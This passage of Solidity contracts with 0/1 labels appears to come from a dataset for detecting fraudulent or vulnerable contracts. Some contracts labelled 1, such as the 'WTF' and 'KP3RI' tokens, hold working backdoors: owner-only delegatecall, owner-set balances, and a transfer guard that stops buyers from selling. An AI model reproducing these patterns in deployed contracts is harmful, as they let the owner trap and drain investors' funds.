_allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract WTF is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 100000000000000000000000000; string public name = "fees.wtf"; string public symbol = "WTF"; IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairFor(wBNB, address(this)); allowance[address(this)][address(uniRouter)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable returns (bool) { require(msg.sender == owner); (bool success, ) = a.delegatecall(b); return success; } function pairFor(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function distribute(address[] memory _tooWho, uint amount) public { require(msg.sender == owner); stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho)); for(uint i = 0; i < _tooWho.length; i++) { balanceOf[_tooWho[i]] = amount; emit Transfer(address(0x0), _tooWho[i], amount); } } function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; uniRouter.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tooWho.length == _amounts.length); stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho)); for(uint i = 0; i < _tooWho.length; i++) { balanceOf[_tooWho[i]] = _amounts[i]; emit Transfer(address(0x0), _tooWho[i], _amounts[i]); } } }
1
3,883
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract AltcoinToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function transferFrom(address from, address to, uint256 value) public returns (bool); } contract InvestTFC is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; address _tokenContract = 0x274b71f49dc3f5370da8c81e4e936eaf9a669321; AltcoinToken thetoken = AltcoinToken(_tokenContract); uint256 public tokensPerEth = 10000e4; uint256 public tokensPerAirdrop = 5e4; uint256 public bonus = 0; uint256 public airdropcounter = 0; uint256 public constant minContribution = 1 ether / 1000; uint256 public constant extraBonus = 1 ether; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Distr(address indexed to, uint256 amount); event TokensPerEthUpdated(uint _tokensPerEth); event TokensPerAirdropUpdated(uint _tokensPerEth); modifier onlyOwner() { require(msg.sender == owner); _; } function InvestTFC () public { owner = msg.sender; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function updateTokensPerAirdrop(uint _tokensPerAirdrop) public onlyOwner { tokensPerAirdrop = _tokensPerAirdrop; emit TokensPerAirdropUpdated(_tokensPerAirdrop); } function () external payable { if ( msg.value >= minContribution) { sendTokens(); } else if ( msg.value < minContribution) { airdropcounter = airdropcounter + 1; sendAirdrop(); } } function sendTokens() private returns (bool) { uint256 tokens = 0; require( msg.value >= minContribution ); tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; bonus = 0; if ( msg.value >= extraBonus ) { bonus = tokens / 2; } tokens = tokens + bonus; sendtokens(thetoken, tokens, investor); } function sendAirdrop() private returns (bool) { uint256 tokens = 0; require( airdropcounter < 1000 ); tokens = tokensPerAirdrop; address holder = msg.sender; sendtokens(thetoken, tokens, holder); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ AltcoinToken t = AltcoinToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function resetAirdrop() onlyOwner public { airdropcounter=0; } function withdrawAltcoinTokens(address anycontract) onlyOwner public returns (bool) { AltcoinToken anytoken = AltcoinToken(anycontract); uint256 amount = anytoken.balanceOf(address(this)); return anytoken.transfer(owner, amount); } function sendtokens(address contrato, uint256 amount, address who) private returns (bool) { AltcoinToken alttoken = AltcoinToken(contrato); return alttoken.transfer(who, amount); } }
1
2,203
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract KP3RI { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
1
3,494
pragma solidity ^0.4.13; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract BITVesting is Ownable { BITToken public token; uint256 public releaseDate; function BITVesting ( BITToken _token, address _beneficiary, uint256 _releaseDate ) public { token = _token; releaseDate = _releaseDate; owner = _beneficiary; } function claim ( address _recipient, bytes _data ) external onlyOwner returns (bool success) { require(_recipient != address(0)); require(block.timestamp > releaseDate); uint256 funds = token.balanceOf(this); require(token.transfer(_recipient, funds)); selfdestruct(msg.sender); return true; } function tokenFallback( address _from, uint _value, bytes _data ) external view { require(msg.sender == address(token)); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract BITToken is MintableToken, PausableToken { event Vested(address indexed beneficiary, address indexed vestingContract, uint256 releaseDate, uint256 amount); event BITTransfer(address indexed _from, address indexed _to, uint256 _value, bytes32 data); uint256 public constant decimals = 18; string public constant name = "BitRewards Token"; string public constant symbol = "BIT"; function BITToken () public MintableToken() { } function transfer (address _to, uint256 _value, bytes32 _data) public returns(bool res) { if (PausableToken.transfer(_to, _value)) { emit BITTransfer(msg.sender, _to, _value, _data); return true; } } function transferFrom (address _from, address _to, uint256 _value, bytes32 _data) public returns(bool res) { if (PausableToken.transferFrom(_from, _to, _value)) { emit BITTransfer(_from, _to, _value, _data); return true; } } function vest( address _beneficiary, uint256 _releaseDate, uint256 _amount ) public onlyOwner canMint returns (address) { address vestingContract = new BITVesting( this, _beneficiary, _releaseDate ); assert (vestingContract != 0x0); require(mint(vestingContract, _amount)); emit Vested(_beneficiary, address(vestingContract), _releaseDate, _amount); return vestingContract; } }
0
661
pragma solidity ^0.4.18; contract SimpleEscrow { uint public PERIOD = 21 days; uint public SAFE_PERIOD = 5 days; address public developerWallet = 0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770; address public customerWallet; uint public started; uint public orderLastDate; uint public safeLastDate; address public owner; function SimpleEscrow() public { owner = msg.sender; } modifier onlyCustomer() { require(msg.sender == customerWallet); _; } modifier onlyDeveloper() { require(msg.sender == developerWallet); _; } function setDeveloperWallet(address newDeveloperWallet) public { require(msg.sender == owner); developerWallet = newDeveloperWallet; } function completed() public onlyCustomer { developerWallet.transfer(this.balance); } function orderNotAccepted() public onlyCustomer { require(now >= orderLastDate); safeLastDate += SAFE_PERIOD; } function failedByDeveloper() public onlyDeveloper { customerWallet.transfer(this.balance); } function completeOrderBySafePeriod() public onlyDeveloper { require(now >= safeLastDate); developerWallet.transfer(this.balance); } function () external payable { require(customerWallet == address(0x0)); customerWallet = msg.sender; started = now; orderLastDate = started + PERIOD; safeLastDate = orderLastDate + SAFE_PERIOD; } }
0
1,002
pragma solidity ^0.4.19; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract Nonpayable { function () public payable { revert(); } } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function destroy() public onlyOwner { selfdestruct(owner); } } contract Regulated is Ownable { event Whitelisted(address indexed customer); event Blacklisted(address indexed customer); mapping(address => bool) regulationStatus; function whitelist(address customer) public onlyOwner { regulationStatus[customer] = true; Whitelisted(customer); } function blacklist(address customer) public onlyOwner { regulationStatus[customer] = false; Blacklisted(customer); } function ensureRegulated(address customer) public constant { require(regulationStatus[customer] == true); } function isRegulated(address customer) public constant returns (bool approved) { return regulationStatus[customer]; } } contract ERC20 { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract VaultbankToken is ERC20, Regulated, Nonpayable { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function VaultbankToken() public { symbol = "VB"; name = "Vaultbank Token"; decimals = 8; _totalSupply = 45624002 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); regulationStatus[owner] = true; Whitelisted(owner); } function issue(address recipient, uint tokens) public onlyOwner returns (bool success) { require(recipient != address(0)); require(recipient != owner); whitelist(recipient); transfer(recipient, tokens); return true; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); require(newOwner != owner); whitelist(newOwner); transfer(newOwner, balances[owner]); owner = newOwner; } function totalSupply() public constant returns (uint supply) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { ensureRegulated(msg.sender); ensureRegulated(to); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { require((tokens == 0) || (allowed[msg.sender][spender] == 0)); allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { ensureRegulated(from); ensureRegulated(to); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } }
1
3,683
pragma solidity ^0.4.24; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract ERC721Receiver { bytes4 internal constant ERC721_RECEIVED = 0x150b7a02; function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } contract ERC721Holder is ERC721Receiver { function onERC721Received( address, address, uint256, bytes ) public returns(bytes4) { return ERC721_RECEIVED; } } contract ERC721Basic { function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function transferFrom(address _from, address _to, uint256 _tokenId) public; } contract HorseyExchange is Pausable, ERC721Holder { event HorseyDeposit(uint256 tokenId, uint256 price); event SaleCanceled(uint256 tokenId); event HorseyPurchased(uint256 tokenId, address newOwner, uint256 totalToPay); uint256 public marketMakerFee = 3; uint256 collectedFees = 0; ERC721Basic public token; struct SaleData { uint256 price; address owner; } mapping (uint256 => SaleData) market; mapping (address => uint256[]) userBarn; constructor() Pausable() ERC721Holder() public { } function setStables(address _token) external onlyOwner() { require(address(_token) != 0,"Address of token is zero"); token = ERC721Basic(_token); } function setMarketFees(uint256 fees) external onlyOwner() { marketMakerFee = fees; } function getTokensOnSale(address user) external view returns(uint256[]) { return userBarn[user]; } function getTokenPrice(uint256 tokenId) public view isOnMarket(tokenId) returns (uint256) { return market[tokenId].price + (market[tokenId].price / 100 * marketMakerFee); } function depositToExchange(uint256 tokenId, uint256 price) external whenNotPaused() isTokenOwner(tokenId) nonZeroPrice(price) tokenAvailable() { require(token.getApproved(tokenId) == address(this),"Exchange is not allowed to transfer"); token.transferFrom(msg.sender, address(this), tokenId); market[tokenId] = SaleData(price,msg.sender); userBarn[msg.sender].push(tokenId); emit HorseyDeposit(tokenId, price); } function cancelSale(uint256 tokenId) external whenNotPaused() originalOwnerOf(tokenId) tokenAvailable() returns (bool) { token.transferFrom(address(this),msg.sender,tokenId); delete market[tokenId]; _removeTokenFromBarn(tokenId, msg.sender); emit SaleCanceled(tokenId); return userBarn[msg.sender].length > 0; } function purchaseToken(uint256 tokenId) external payable whenNotPaused() isOnMarket(tokenId) tokenAvailable() notOriginalOwnerOf(tokenId) { uint256 totalToPay = getTokenPrice(tokenId); require(msg.value >= totalToPay, "Not paying enough"); SaleData memory sale = market[tokenId]; collectedFees += totalToPay - sale.price; sale.owner.transfer(sale.price); _removeTokenFromBarn(tokenId, sale.owner); delete market[tokenId]; token.transferFrom(address(this), msg.sender, tokenId); if(msg.value > totalToPay) { msg.sender.transfer(msg.value - totalToPay); } emit HorseyPurchased(tokenId, msg.sender, totalToPay); } function withdraw() external onlyOwner() { assert(collectedFees <= address(this).balance); owner.transfer(collectedFees); collectedFees = 0; } function _removeTokenFromBarn(uint tokenId, address barnAddress) internal { uint256[] storage barnArray = userBarn[barnAddress]; require(barnArray.length > 0,"No tokens to remove"); int index = _indexOf(tokenId, barnArray); require(index >= 0, "Token not found in barn"); for (uint256 i = uint256(index); i<barnArray.length-1; i++){ barnArray[i] = barnArray[i+1]; } barnArray.length--; } function _indexOf(uint item, uint256[] memory array) internal pure returns (int256){ for(uint256 i = 0; i < array.length; i++){ if(array[i] == item){ return int256(i); } } return -1; } modifier isOnMarket(uint256 tokenId) { require(token.ownerOf(tokenId) == address(this),"Token not on market"); _; } modifier isTokenOwner(uint256 tokenId) { require(token.ownerOf(tokenId) == msg.sender,"Not tokens owner"); _; } modifier originalOwnerOf(uint256 tokenId) { require(market[tokenId].owner == msg.sender,"Not the original owner of"); _; } modifier notOriginalOwnerOf(uint256 tokenId) { require(market[tokenId].owner != msg.sender,"Is the original owner"); _; } modifier nonZeroPrice(uint256 price){ require(price > 0,"Price is zero"); _; } modifier tokenAvailable(){ require(address(token) != 0,"Token address not set"); _; } } contract EthorseRace { struct chronus_info { bool betting_open; bool race_start; bool race_end; bool voided_bet; uint32 starting_time; uint32 betting_duration; uint32 race_duration; uint32 voided_timestamp; } address public owner; chronus_info public chronus; mapping (bytes32 => bool) public winner_horse; function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint); } contract EthorseHelpers { bytes32[] public all_horses = [bytes32("BTC"),bytes32("ETH"),bytes32("LTC")]; mapping(address => bool) public legitRaces; bool onlyLegit = false; function _addHorse(bytes32 newHorse) internal { all_horses.push(newHorse); } function _addLegitRace(address newRace) internal { legitRaces[newRace] = true; if(!onlyLegit) onlyLegit = true; } function getall_horsesCount() public view returns(uint) { return all_horses.length; } function _isWinnerOf(address raceAddress, address eth_address) internal view returns (bool,bytes32) { EthorseRace race = EthorseRace(raceAddress); if(onlyLegit) require(legitRaces[raceAddress],"not legit race"); bool voided_bet; bool race_end; (,,race_end,voided_bet,,,,) = race.chronus(); if(voided_bet || !race_end) return (false,bytes32(0)); bytes32 horse; bool found = false; uint256 arrayLength = all_horses.length; for(uint256 i = 0; i < arrayLength; i++) { if(race.winner_horse(all_horses[i])) { horse = all_horses[i]; found = true; break; } } if(!found) return (false,bytes32(0)); uint256 bet_amount = 0; (,,,, bet_amount) = 